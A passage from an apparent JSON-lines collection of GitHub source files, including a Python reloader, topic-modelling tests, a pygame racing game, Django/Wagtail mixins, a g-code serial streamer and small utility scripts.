has_length(0))\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/tests/unit/storage/mappers/test_enrollment_mapper.py","file_name":"test_enrollment_mapper.py","file_ext":"py","file_size_in_byte":8140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"393660715","text":"import sys\nimport os\nimport time\nimport threading\nimport subprocess\nimport signal\nfrom itertools import chain\nfrom manpki.logger import log\n\nPY2 = sys.version_info[0] == 2\nWIN = sys.platform.startswith('win')\n\niteritems = lambda d, *args, **kwargs: iter(d.items(*args, **kwargs))\n\n\ndef _get_args_for_reloading():\n \"\"\"Returns the executable. This contains a workaround for windows\n if the executable is incorrectly reported to not have the .exe\n extension which can cause bugs on reloading.\n \"\"\"\n rv = [sys.executable]\n py_script = sys.argv[0]\n if os.name == 'nt' and not os.path.exists(py_script) and \\\n os.path.exists(py_script + '.exe'):\n py_script += '.exe'\n rv.append(py_script)\n rv.extend(sys.argv[1:])\n return rv\n\n\ndef _iter_module_files():\n \"\"\"This iterates over all relevant Python files. It goes through all\n loaded files from modules, all files in folders of already loaded modules\n as well as all files reachable through a package.\n \"\"\"\n # The list call is necessary on Python 3 in case the module\n # dictionary modifies during iteration.\n for module in list(sys.modules.values()):\n if module is None:\n continue\n filename = getattr(module, '__file__', None)\n if filename:\n old = None\n while not os.path.isfile(filename):\n old = filename\n filename = os.path.dirname(filename)\n if filename == old:\n break\n else:\n if filename[-4:] in ('.pyc', '.pyo'):\n filename = filename[:-1]\n yield filename\n\n\nclass ReloaderLoop(object):\n name = None\n\n # monkeypatched by testsuite. wrapping with `staticmethod` is required in\n # case time.sleep has been replaced by a non-c function (e.g. by\n # `eventlet.monkey_patch`) before we get here\n _sleep = staticmethod(time.sleep)\n\n def __init__(self, extra_files=None, interval=1):\n self.extra_files = set(os.path.abspath(x)\n for x in extra_files or ())\n self.interval = interval\n\n def run(self):\n pass\n\n def restart_with_reloader(self):\n \"\"\"Spawn a new Python interpreter with the same arguments as this one,\n but running the reloader thread.\n \"\"\"\n while 1:\n log.info(' * Restarting with %s' % self.name)\n args = _get_args_for_reloading()\n new_environ = os.environ.copy()\n new_environ['MANPKI_RUN_MAIN'] = 'true'\n\n # a weird bug on windows. sometimes unicode strings end up in the\n # environment and subprocess.call does not like this, encode them\n # to latin1 and continue.\n if os.name == 'nt' and PY2:\n for key, value in iteritems(new_environ):\n if isinstance(value, str):\n new_environ[key] = value.encode('iso-8859-1')\n\n exit_code = subprocess.call(args, env=new_environ,\n close_fds=False)\n if exit_code != 3:\n return exit_code\n\n def trigger_reload(self, filename):\n self.log_reload(filename)\n sys.exit(3)\n\n @staticmethod\n def trigger_reload_with_sleep():\n sys.exit(3)\n\n @staticmethod\n def log_reload(filename):\n filename = os.path.abspath(filename)\n log.info(' * Detected change in %r, reloading' % filename)\n\n\nclass StatReloaderLoop(ReloaderLoop):\n name = 'stat'\n\n def run(self):\n mtimes = {}\n while 1:\n for filename in chain(_iter_module_files(),\n self.extra_files):\n try:\n mtime = os.stat(filename).st_mtime\n except OSError:\n continue\n\n old_time = mtimes.get(filename)\n if old_time is None:\n mtimes[filename] = mtime\n continue\n elif mtime > old_time:\n self.trigger_reload(filename)\n self._sleep(self.interval)\n\n\ndef reload(time):\n log.info(\"Reload server in %s second\" % str(time))\n signal.alarm(time)\n\n\ndef _reload(*args):\n reloader.trigger_reload_with_sleep()\n\n\ndef run_with_reloader(args, **kwargs):\n \"\"\"Run the given function in an independent python interpreter.\"\"\"\n signal.signal(signal.SIGTERM, lambda *args: sys.exit(0))\n signal.signal(signal.SIGHUP, lambda *args: sys.exit(3))\n signal.signal(signal.SIGALRM, _reload)\n try:\n if os.environ.get('MANPKI_RUN_MAIN') == 'true':\n t = threading.Thread(target=args, args=())\n t.setDaemon(True)\n t.start()\n reloader.run()\n else:\n sys.exit(reloader.restart_with_reloader())\n except KeyboardInterrupt:\n pass\n\n\nreloader = StatReloaderLoop()\n","repo_name":"GaetanF/manpki","sub_path":"manpki/tools/reloader.py","file_name":"reloader.py","file_ext":"py","file_size_in_byte":4904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11782878452","text":"import glob\nimport os\nimport time\nimport unittest\n\nimport elasticsearch\nimport nose.tools as nt\nfrom elasticsearch.exceptions import ConnectionError\nfrom nose.plugins.skip import SkipTest\n\nfrom topik.fileio import TopikProject\nfrom topik.fileio.tests import test_data_path\n\n# make logging quiet during testing, to keep Travis CI logs short.\nimport logging\nlogging.basicConfig()\nlogging.getLogger('elasticsearch').setLevel(logging.ERROR)\nlogging.getLogger('urllib3').setLevel(logging.ERROR)\n\nSAVE_FILENAME = \"test_project\"\n\nsample_tokenized_doc = (2318580746137828354,\n [u'nano', u'sized', u'tio', u'particles', u'applications', u'including',\n u'use', u'photocatalysts', u'heat', u'transfer', u'fluids', u'nanofluids',\n u'present', u'study', u'tio', u'nanoparticles', u'controllable', u'phase',\n u'particle', u'size', u'obtained', u'homogeneous', u'gas', u'phase',\n u'nucleation', u'chemical', u'vapor', u'condensation', u'cvc', u'phase',\n u'particle', u'size', u'tio', u'nanoparticles', u'processing', u'conditions',\n u'characterized', u'x', u'ray', u'diffraction', u'transmission', u'electron',\n u'microscopy', u'chamber', u'temperature', u'pressure', u'key', u'parameters',\n u'affecting', u'particle', u'phase', u'size', u'pure', u'anatase', u'phase',\n u'observed', u'synthesis', u'temperatures', u'low', u'c', u'chamber',\n u'pressure', u'varying', u'torr', u'furnace', u'temperature', u'increased',\n u'c', u'pressure', u'torr', u'mixture', u'anatase', u'rutile', u'phases',\n u'observed', u'predominant', u'phase', u'anatase', u'average', u'particle',\n u'size', u'experimental', u'conditions', u'observed', u'nm'])\n\ntest_data_path = os.path.join(test_data_path, \"test_data_json_stream.json\")\n\n\nclass ProjectTest(object):\n def test_context_manager(self):\n for filename in glob.glob(\"context_output*\"):\n os.remove(filename)\n with TopikProject(\"context_output\", self.output_type, self.output_args) as project:\n project.read_input(source=test_data_path, content_field='abstract')\n project.tokenize()\n project.vectorize(method='bag_of_words')\n project.run_model(model_name='lda', ntopics=2)\n\n # above runs through a whole workflow (minus plotting.) At end, it closes file.\n # load output here.\n with TopikProject(\"context_output\") as project:\n nt.assert_equal(len(list(project.get_filtered_corpus_iterator())), 100)\n nt.assert_true(sample_tokenized_doc in list(iter(project.selected_tokenized_corpus)))\n nt.assert_equal(project.selected_vectorized_corpus.global_term_count, 2434)\n nt.assert_equal(len(project.selected_vectorized_corpus), 100) # All documents processed\n for doc in project.selected_modeled_corpus.doc_topic_matrix.values():\n nt.assert_almost_equal(sum(doc), 1)\n for topic in project.selected_modeled_corpus.topic_term_matrix.values():\n nt.assert_almost_equal(sum(topic), 1)\n\n for filename in glob.glob(\"context_output*\"):\n os.remove(filename)\n\n def test_read_input(self):\n nt.assert_equal(len(list(self.project.get_filtered_corpus_iterator())), 100)\n\n def test_get_filtered_corpus_iterator(self):\n doc_list = list(self.project.get_filtered_corpus_iterator())\n nt.assert_equal(type(doc_list[0]), type(('123', 'text')))\n nt.assert_equal(len(doc_list), 100)\n\n def test_get_date_filtered_corpus_iterator(self):\n results = list(self.project.get_date_filtered_corpus_iterator(\n field_to_get=\"abstract\", start=1975, end=1999, filter_field='year'))\n nt.assert_equal(len(results), 25)\n\n def test_tokenize(self):\n self.project.tokenize('simple')\n in_results = False\n for id, doc in self.project.selected_tokenized_corpus:\n if doc in sample_tokenized_doc:\n in_results = True\n break\n nt.assert_true(in_results)\n\n def test_vectorize(self):\n self.project.tokenize()\n self.project.vectorize()\n nt.assert_equal(self.project.selected_vectorized_corpus.global_term_count, 2434)\n nt.assert_equal(len(self.project.selected_vectorized_corpus), 100) # All documents processed\n\n def test_model(self):\n self.project.tokenize()\n self.project.vectorize()\n self.project.run_model(model_name='lda', ntopics=2)\n for doc in self.project.selected_modeled_corpus.doc_topic_matrix.values():\n nt.assert_almost_equal(sum(doc), 1)\n for topic in self.project.selected_modeled_corpus.topic_term_matrix.values():\n nt.assert_almost_equal(sum(topic), 1)\n\n def test_visualize(self):\n self.project.tokenize()\n self.project.vectorize(method='bag_of_words')\n self.project.run_model(ntopics=2)\n self.project.visualize(vis_name='termite', topn=5)\n\n\nclass TestInMemoryOutput(unittest.TestCase, ProjectTest):\n def setUp(self):\n self.output_type = \"InMemoryOutput\"\n self.output_args = {}\n self.project = TopikProject(\"test_project\",\n output_type=self.output_type,\n output_args=self.output_args)\n self.project.read_input(test_data_path, content_field=\"abstract\")\n\n\nclass TestElasticSearchOutput(unittest.TestCase, ProjectTest):\n INDEX = \"test_index\"\n\n def setUp(self):\n self.output_type = \"ElasticSearchOutput\"\n self.output_args = {'source': 'localhost',\n 'index': TestElasticSearchOutput.INDEX,\n 'content_field': \"abstract\"}\n self.project = TopikProject(\"test_project\", output_type=self.output_type,\n output_args=self.output_args)\n try:\n self.project.read_input(test_data_path, content_field=\"abstract\", synchronous_wait=30)\n except ConnectionError:\n raise SkipTest(\"Skipping Elasticsearch test - elasticsearch not running\")\n\n def tearDown(self):\n instance = elasticsearch.Elasticsearch(\"localhost\")\n instance.indices.delete(TestElasticSearchOutput.INDEX)\n if instance.indices.exists(\"{}_year_alias_date\".format(TestElasticSearchOutput.INDEX)):\n instance.indices.delete(\"{}_year_alias_date\".format(TestElasticSearchOutput.INDEX))\n time.sleep(1)\n","repo_name":"ContinuumIO/topik","sub_path":"topik/fileio/tests/test_project.py","file_name":"test_project.py","file_ext":"py","file_size_in_byte":6382,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"3"} +{"seq_id":"34059470615","text":"# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n def deleteNode(self, node):\n cur = node\n Next = cur.next\n # change the value of cur\n cur.val = Next.val\n # change the next of cur\n cur.next = Next.next","repo_name":"TinaCXu/Leetcode","sub_path":"redo-237.py","file_name":"redo-237.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"44572520632","text":"# \"Database code\" for the DB Forum.\n\nimport psycopg2, bleach # Bleach is intended for sanitizing text from untrusted sources. I\n\ndef get_posts():\n\t# connect to the database \n\tconnection = psycopg2.connect(database=\"forum\")\n\n\t# 1) Declare a cursor object that defines a result set \n\tcrsr = connection.cursor()\n\n\t# 2) Open the cursor to establish the result: return all the entries from the database\n\tcrsr.execute(\"SELECT content, time FROM posts order by time desc\")\n\n\t# 3) Fetch the data into local variables as needed from the cursor, one row at a time.\n\tposts = crsr.fetchall() \n\n\t# 4) Close the cursor when done.\n\t\"\"\"db.close() is called before the get_posts function returns.\"\"\"\n\tconnection.close()\n\n\treturn posts\n\ndef add_post(content):\n\t# connect to the database \n\tconnection = psycopg2.connect(database=\"forum\")\n\n\t# declare a cursor object \n\tcrsr = connection.cursor()\n\n\t# Insert new POSTS to the database \n\tcrsr.execute(\"INSERT INTO posts VALUES (%s)\", (content,) ) # tuple \n\n\t# Save the changes to the database permanently \n\tconnection.commit()\n\n\tconnection.close()\n\t\n\n\n\n","repo_name":"annsway/web-development","sub_path":"Projects 2019/http.server/forumdb.py","file_name":"forumdb.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73381684242","text":"from typing import List\n\n\nclass Solution:\n def mctFromLeafValues(self, arr: List[int]) -> int:\n \"\"\"\n >>> s = Solution()\n >>> s.mctFromLeafValues([6,2,4])\n 32\n >>> s.mctFromLeafValues([4,11])\n 44\n >>> s.mctFromLeafValues([15,13,5,3,15])\n 500\n \"\"\"\n n = len(arr)\n memory = [[(-1, -1) for _ in range(n + 1)] for _ in range(n + 1)]\n return self.dp(0, n - 1, arr, memory)[1]\n\n # [6,2, 4]\n def dp(self, start: int, end: int, values: List[int], mem):\n \"\"\"\n Returns two pair of values (max_of_child, sum up until this root)\n [6,2] -> [6], [2]\n [6] -> (6, 0)\n [2] -> (2, 0)\n [6, 2] -> (6, 12)\n\n \"\"\"\n if mem[start][end][0] != -1:\n return mem[start][end]\n if start == end:\n mem[start][end] = (values[start], 0)\n return mem[start][end]\n\n nonLeafSum = float(\"inf\")\n maxLeaf = float('-inf')\n for i in range(start, end):\n left = self.dp(start, i, values, mem)\n right = self.dp(i + 1, end, values, mem)\n maxLeaf = max(left[0], right[0], maxLeaf)\n nonLeafSum = min(nonLeafSum, left[0] * right[0] + left[1] + right[1])\n mem[start][end] = (maxLeaf, nonLeafSum)\n return mem[start][end]\n\n\nif __name__ == \"__main__\":\n import doctest\n\n doctest.testmod()\n","repo_name":"erdenezul/leetcode","sub_path":"src/dp/min_cost_tree_from_leaf.py","file_name":"min_cost_tree_from_leaf.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31699783872","text":"import pygame\r\nimport time\r\nimport math\r\nfrom utilities import scale_image, blit_rotate_center\r\n\r\n#This section is used to display the images on the screen\r\nGRASS = scale_image(pygame.image.load(\"images/grass.jpg\"), 2.5)\r\nTRACK = scale_image(pygame.image.load(\"images/track.png\"), 0.9)\r\n\r\nTRACK_BORDER = scale_image(pygame.image.load(\"images/track-border.png\"), 0.9)\r\n#This mask is used for collision of the car from the track \r\nTRACK_BORDER_MASK = pygame.mask.from_surface(TRACK_BORDER)\r\n\r\nFINISH = pygame.image.load(\"images/finish.png\")\r\nFINISH_MASK = pygame.mask.from_surface(FINISH)\r\nFINISH_POSITION = (130, 250)\r\n\r\nRED_CAR = scale_image(pygame.image.load(\"images/red-car.png\"), 0.55)\r\nGREEN_CAR = scale_image(pygame.image.load(\"images/green-car.png\"), 0.55)\r\n\r\nWIDTH, HEIGHT = TRACK.get_width(), TRACK.get_height()\r\nWIN = pygame.display.set_mode((WIDTH, HEIGHT))\r\n#This is used t0 display the heading on the window of the game\r\npygame.display.set_caption(\"Fucck off By Chirag\")\r\n\r\nFPS = 60\r\n\r\n\r\nclass AbstractCar:\r\n def __init__(self, max_vel, rotation_vel):\r\n self.img = self.IMG\r\n self.max_vel = max_vel\r\n self.vel = 0\r\n self.rotation_vel = rotation_vel\r\n self.angle = 0\r\n self.x, self.y = self.START_POS\r\n self.acceleration = 0.1\r\n\r\n def rotate(self, left=False, right=False):\r\n if left:\r\n self.angle += self.rotation_vel\r\n elif right:\r\n self.angle -= self.rotation_vel\r\n\r\n def draw(self, win):\r\n blit_rotate_center(win, self.img, (self.x, self.y), self.angle)\r\n\r\n def move_forward(self):\r\n self.vel = min(self.vel + self.acceleration, self.max_vel)\r\n self.move()\r\n\r\n def move_backward(self):\r\n self.vel = max(self.vel - self.acceleration, -self.max_vel/2)\r\n self.move()\r\n\r\n def move(self):\r\n radians = math.radians(self.angle)\r\n vertical = math.cos(radians) * self.vel\r\n horizontal = math.sin(radians) * self.vel\r\n\r\n self.y -= vertical\r\n self.x -= horizontal\r\n\r\n def collide(self, mask, x=0, y=0):\r\n car_mask = pygame.mask.from_surface(self.img)\r\n offset = (int(self.x - x), int(self.y - y))\r\n poi = mask.overlap(car_mask, offset)\r\n return poi\r\n\r\n def reset(self):\r\n self.x, self.y = self.START_POS\r\n self.angle = 0\r\n self.vel = 0\r\n\r\n\r\nclass PlayerCar(AbstractCar):\r\n IMG = RED_CAR\r\n START_POS = (180, 200)\r\n\r\n def reduce_speed(self):\r\n self.vel = max(self.vel - self.acceleration / 2, 0)\r\n self.move()\r\n\r\n def bounce(self):\r\n self.vel = -self.vel\r\n self.move()\r\n\r\n\r\ndef draw(win, images, player_car):\r\n for img, pos in images:\r\n win.blit(img, pos)\r\n\r\n player_car.draw(win)\r\n pygame.display.update()\r\n\r\n\r\ndef move_player(player_car):\r\n keys = pygame.key.get_pressed()\r\n moved = False\r\n\r\n if keys[pygame.K_a]:\r\n player_car.rotate(left=True)\r\n if keys[pygame.K_d]:\r\n player_car.rotate(right=True)\r\n if keys[pygame.K_w]:\r\n moved = True\r\n player_car.move_forward()\r\n if keys[pygame.K_s]:\r\n moved = True\r\n player_car.move_backward()\r\n\r\n if not moved:\r\n player_car.reduce_speed()\r\n\r\n\r\nrun = True\r\nclock = pygame.time.Clock()\r\nimages = [(GRASS, (0, 0)), (TRACK, (0, 0)),\r\n (FINISH, FINISH_POSITION), (TRACK_BORDER, (0, 0))]\r\nplayer_car = PlayerCar(8, 8)\r\n\r\nwhile run:\r\n clock.tick(FPS)\r\n#this win is used to display the eingow win means window\r\n draw(WIN, images, player_car)\r\n\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n run = False\r\n break\r\n\r\n move_player(player_car)\r\n#This section is used to malke the car collided with the track\r\n if player_car.collide(TRACK_BORDER_MASK) != None:\r\n player_car.bounce()\r\n\r\n finish_poi_collide = player_car.collide(FINISH_MASK, *FINISH_POSITION)\r\n if finish_poi_collide != None:\r\n if finish_poi_collide[1] == 0:\r\n player_car.bounce()\r\n else:\r\n player_car.reset()\r\n print(\"Game over\")\r\n\r\n\r\npygame.quit()","repo_name":"cntl-alt-delete/Python","sub_path":"tempCodeRunnerFile.py","file_name":"tempCodeRunnerFile.py","file_ext":"py","file_size_in_byte":4134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6743219940","text":"from wagtail.wagtailcore.models import Page, Site\n\nclass ComponentSitesMixin(object):\n\n page_url = \"/\"\n extends_template = \"component-sites/component-theme/templates/base.html\"\n\n def get_page(self):\n path = self.page_url\n path_components = [component for component in path.split('/') if component]\n page, args, kwargs = self.request.site.root_page.specific.route(self.request, path_components)\n return page\n\n def get_context_data(self, *args, **kwargs):\n context = super().get_context_data(*args, **kwargs)\n context[\"extends_template\"] = self.extends_template\n context[\"page\"] = self.get_page()\n context[\"is_wagtail_site\"] = True\n return context\n\n\n# For any component sites view this will get the nav for the appropriate chapter\n# expand this to get the footer, etc. also??\n# there is also a method version of this because I don't want to have to add this as a mixin \n# on Page models and have to run migrations. So there are two versions. \n\n# FOR LOGIN WE NEED HTTP BUT FOR OTHER THINGS WE MAY NEED HTTPS -- MAY NEED TO CHANGE:\n# rethink this as just for login (and name it as such ?): so it stays just http\nclass ComponentSitesNavMixin(object):\n\n def get(self, request,*args,**kwargs):\n host = self.request.META['HTTP_HOST']\n host_no_port = host.split(\":\")\n site = Site.objects.get(hostname=host_no_port[0])\n self.root_page = Page.objects.get(id=site.root_page_id)\n host_parts = host_no_port[0].split(\".\")\n main_site = \"\"\n for part in host_parts:\n if part in [\"local-development\", \"staging\", \"planning\"]:\n main_site = main_site + part + \".\"\n if len(host_no_port) > 1:\n port = host_no_port[1]\n else:\n port = \"\"\n main_site = main_site + \"org\" + \":\" + port\n self.http_hostname = \"http://\" + main_site\n return super().get(request,*args,**kwargs)\n\n def get_context_data(self, *args, **kwargs):\n context = super().get_context_data(*args, **kwargs)\n context[\"page\"] = self.root_page\n context[\"http_hostname\"] = self.http_hostname\n context[\"is_wagtail_site\"] = True\n return context\n","repo_name":"furmanczyk5/Django-Enterprise-App","sub_path":"component_sites/viewmixins.py","file_name":"viewmixins.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"15426873664","text":"#!/usr/bin/env python\n\"\"\"\\\nStream g-code to Smoothie USB serial connection\n\nBased on GRBL stream.py, but completely different\n\"\"\"\n\nfrom __future__ import print_function\nimport sys\nimport argparse\nimport serial\nimport threading\nimport time\nimport signal\nimport sys\n\nerrorflg = False\nintrflg = False\n\n\ndef signal_term_handler(signal, frame):\n global intrflg\n print('got SIGTERM...')\n intrflg = True\n\n\nsignal.signal(signal.SIGTERM, signal_term_handler)\n\n# Define command line argument interface\nparser = argparse.ArgumentParser(description='Stream g-code file to Smoothie over telnet.')\nparser.add_argument('gcode_file', type=argparse.FileType('r'), help='g-code filename to be streamed')\nparser.add_argument('device', help='Smoothie Serial Device')\nparser.add_argument('-q', '--quiet', action='store_true', default=False, help='suppress output text')\nargs = parser.parse_args()\n\nf = args.gcode_file\nverbose = not args.quiet\n\n# Stream g-code to Smoothie\n\ndev = args.device\n\n# Open port\ns = serial.Serial(dev, 115200)\ns.flushInput() # Flush startup text in serial input\n\nprint(\"Streaming \" + args.gcode_file.name + \" to \" + args.device)\n\nokcnt = 0\n\n\ndef read_thread():\n \"\"\"thread worker function\"\"\"\n global okcnt, errorflg\n flag = 1\n while flag:\n rep = s.readline().decode('latin1')\n n = rep.count(\"ok\")\n if n == 0:\n print(\"Incoming: \" + rep)\n if \"error\" in rep or \"!!\" in rep or \"ALARM\" in rep or \"ERROR\" in rep:\n errorflg = True\n break\n else:\n okcnt += n\n\n print(\"Read thread exited\")\n return\n\n\n# start read thread\nt = threading.Thread(target=read_thread)\nt.daemon = True\nt.start()\n\nlinecnt = 0\ntry:\n for line in f:\n if errorflg:\n break\n # strip comments\n if line.startswith(';'):\n continue\n l = line.strip()\n o = \"{}\\n\".format(l).encode('latin1')\n n = s.write(o)\n if n != len(o):\n print(\"Not entire line was sent: {} - {}\".format(n, len(o)))\n linecnt += 1\n if verbose:\n print(\"SND \" + str(linecnt) + \": \" + line.strip() + \" - \" + str(okcnt))\n\nexcept KeyboardInterrupt:\n print(\"Interrupted...\")\n intrflg = True\n\nif intrflg:\n # We need to consume oks otherwise smoothie will deadlock on a full tx buffer\n print(\"Sending Abort - this may take a while...\")\n s.write(b'\\x18') # send halt\n while(s.inWaiting()):\n s.read(s.inWaiting())\n linecnt = 0\n\nif errorflg:\n print(\"Target halted due to errors\")\n\nelse:\n print(\"Waiting for complete...\")\n while okcnt < linecnt:\n if verbose:\n print(str(linecnt) + \" - \" + str(okcnt))\n if errorflg:\n s.read(s.inWaiting()) # rad all remaining characters\n break\n time.sleep(1)\n\n # Wait here until finished to close serial port and file.\n print(\" Press to exit\")\n input()\n\n\n# Close file and serial port\nf.close()\ns.close()\n","repo_name":"Smoothieware/Smoothieware","sub_path":"fast-stream.py","file_name":"fast-stream.py","file_ext":"py","file_size_in_byte":2988,"program_lang":"python","lang":"en","doc_type":"code","stars":1239,"dataset":"github-code","pt":"3"} +{"seq_id":"18284005962","text":"from functools import partial\nfrom importlib import import_module\n\n\ndef get_class_info(app_name, model_name):\n module = import_module(f\"{app_name}.models\")\n class_name = getattr(module, model_name)\n\n get_verbose_name = partial(get_attr_field, \"verbose_name\")\n get_name = partial(get_attr_field, \"name\")\n\n fields = class_name._meta.get_fields()\n\n fields_verbose_name = list(map(get_verbose_name, fields))\n fields_name = list(map(get_name, fields))\n form_fields = fields_name[1:]\n\n return {\n \"class_verbose_name\": class_name._meta.verbose_name,\n \"class_verbose_name_plural\": class_name._meta.verbose_name_plural,\n \"fields_name\": fields_name,\n \"fields_verbose_name\": fields_verbose_name,\n \"form_fields\": form_fields,\n }\n\n\ndef get_attr_field(attr, field):\n if hasattr(field, attr):\n return getattr(field, attr)\n else:\n return \"-\"\n\ndef only_original(field):\n return not hasattr(field, \"field\")\n","repo_name":"flavionogueiraa/django-full-crud","sub_path":"django_full_crud/utils/get_class_info.py","file_name":"get_class_info.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"70380296721","text":"# ステータスコードに応じたエラー処理\n\nimport time\nimport requests\n\n# 一時的なエラーを表すステータスコード\nTEMPORARY_ERROR_CODES = (408, 500, 502, 503, 504)\n\n\ndef main():\n response = fetch('http://httpbin.org/status/200,404,503')\n if 200 <= response.status_code < 300:\n print(\"success!\")\n else:\n print(\"Error!\")\n\n\ndef fetch(url):\n \"\"\"\n 指定したURLを取得してResponseオブジェクトを返す。一時的なエラーが起きた場合は最大三回リトライする\n \"\"\"\n max_retries = 3\n retries = 0\n while True:\n try:\n print('Retrieving {0}...'.format(url))\n response = requests.get(url)\n print('status: {0}'.format(response.status_code))\n\n # 一時的なエラーでない場合はレスポンスを返す\n if response.status_code not in TEMPORARY_ERROR_CODES:\n return response\n\n except requests.exceptions.RequestException as ex:\n print('Exception occured: {0}'.format(ex))\n\n retries += 1\n # リト���イ回数の上限を超えた場合は例外を発生させる\n if retries >= max_retries:\n raise Exception('Too Many Retries.')\n\n wait = 2**(retries - 1) # 指数関数的なリトライ間隔\n print('Waiting {0} seconds...'.format(wait))\n time.sleep(wait)\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"XXQ2/CrawlAndScrape","sub_path":"chapter_4/7.error_handling.py","file_name":"7.error_handling.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43605384929","text":"\"\"\"\n13. Yuqoridagi dasturni universallashtiramiz. Endi mazkur vaqtni ham qo'shiladigan minutni ham foydalanuvchi kiritsin.\n\nHozirgi vaqt soatini kiriting: 13\nHozirgi vaqt minutini kiriting: 20\nQancha minutdan keyin vaqtni bilmoqchisiz? 100\n100 minutdan keyin vaqt 15:00 bo'ladi\n\n\"\"\"\nh_soat = hozirgi_soat = int(input(\"Hozirgi vaqt soatini kiriting: \"))\nh_minut = hozirgi_minut = int(input(\"Hozirgi vaqt minutini kiriting: \"))\nqiymat = int(input(\"Qancha minutdan keyin vaqtni bilmoqchisiz? \"))\n\numumiy_minut = hozirgi_minut + qiymat\nhozirgi_soat = hozirgi_soat + umumiy_minut // 60\nhozirgi_minut = umumiy_minut % 60\n\nprint(str(h_soat) + \":\"+str(h_minut) + \" ga \" + str(qiymat) + \" minut qo'shilsa, vaqt \" + str(hozirgi_soat) + \":\" + str(hozirgi_minut) + \" bo'ladi\")","repo_name":"aergashev1987/loyixa_1","sub_path":"02. O'zgaruvchilar. Ma'lumot turlari (son, cast)/2. Mantiqiy/ozgaruvchi14.py","file_name":"ozgaruvchi14.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"uz","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72615122321","text":"from pathlib import Path\n\nfrom transformers import RobertaTokenizerFast\n\nimport datasets.transforms as T\n\nfrom .coco import ModulatedDetection, make_coco_transforms\n\n\nclass LvisModulatedDetection(ModulatedDetection):\n pass\n\n\ndef build(image_set, args):\n\n img_dir = Path(args.coco2017_path)\n if args.lvis_subset is None or int(args.lvis_subset) == 100:\n ann_file = Path(args.modulated_lvis_ann_path) / f\"finetune_lvis_{image_set}.json\"\n else:\n ann_file = Path(args.modulated_lvis_ann_path) / f\"finetune_lvis{args.lvis_subset}_{image_set}.json\"\n\n tokenizer = RobertaTokenizerFast.from_pretrained(args.text_encoder_type)\n dataset = LvisModulatedDetection(\n img_dir,\n ann_file,\n transforms=make_coco_transforms(image_set, cautious=True),\n return_masks=False,\n return_tokens=True, # args.contrastive_align_loss,\n tokenizer=tokenizer,\n )\n return dataset\n","repo_name":"ashkamath/mdetr","sub_path":"datasets/lvis_modulation.py","file_name":"lvis_modulation.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":901,"dataset":"github-code","pt":"3"} +{"seq_id":"8756918968","text":"# program to change a number of any base to any other base (combines usage of 2a and 2b)\nimport math\n\n\n# FUNCTIONS TO CONVERT FROM ANY BASE TO DECIMAL:\n# function to retrieve subscript character unicode equivalent for any digit (0-9)\ndef special_num(var_num, var_type, var_sign):\n # define subscript unicode character lists\n if var_type == \"sub\":\n unicode_chars = ['\\u2080', '\\u2081', '\\u2082', '\\u2083', '\\u2084',\n '\\u2085', '\\u2086', '\\u2087', '\\u2088', '\\u2089']\n # define superscript unicode character list\n else:\n unicode_chars = ['\\u2070', '\\u00b9', '\\u00b2', '\\u00b3', '\\u2074',\n '\\u2075', '\\u2076', '\\u2077', '\\u2078', '\\u2079']\n negative_superscript = \"\\u207B\"\n # define used variable\n special_text = \"\"\n # repeat for each digit in the number provided\n for i in range(0, len(str(var_num))):\n # convert each digit into its subscript unicode equivalent\n special_text += unicode_chars[int((str(var_num))[i])]\n if var_sign == \"-\":\n special_text = negative_superscript + special_text\n # return subscript unicode equivalent to caller (ready to print)\n return special_text\n\n\n# write number with base in subscript\ndef write_number(var_num, var_base):\n # concatenate number with its base in subscript\n var_return_num = \"{}{}\".format(var_num, special_num(var_base, \"sub\", \"+\"))\n # return text output to caller\n return var_return_num\n\n\n# expand a single digit using base and place-value\ndef expanded_term(var_digit, var_base, var_place_value, var_sign):\n # concatenate digit with base ^ place value\n var_expanded_term = \"{}x{}{}\".format(var_digit, var_base, special_num(var_place_value, \"super\", var_sign))\n # return text output to caller\n return var_expanded_term\n\n\n# fully expand the number\ndef full_expansion(var_num, var_base):\n # define output variables\n expanded_text = \"\"\n expanded_terms = []\n # convert number into list, each character as a list item\n str_var_num = list(str(var_num))\n # check for a decimal point\n try:\n dot_index = str_var_num.index(\".\")\n # if one is found, then collect its index and remove it from list\n str_var_num.pop(dot_index)\n except ValueError:\n # otherwise set index to -1\n dot_index = -1\n # get number of characters in number\n var_digits = len(str_var_num)\n\n # if number has no decimal part\n if dot_index == -1:\n # go down each digit\n for digit_index in range(0, var_digits):\n # get power of base\n var_placeholder = var_digits - digit_index - 1\n # get digit from number\n var_digit = str_var_num[digit_index]\n # if it's not the last digit, add a \"+\" and at the end\n if digit_index != var_digits - 1:\n # expand the digit out using base and place-value\n expanded_text += \"{} + \".format(expanded_term(var_digit, var_base, var_placeholder, \"+\"))\n # otherwise no space or plus sign\n else:\n # expand the digit out using base and place-value\n expanded_text += \"{}\".format(expanded_term(var_digit, 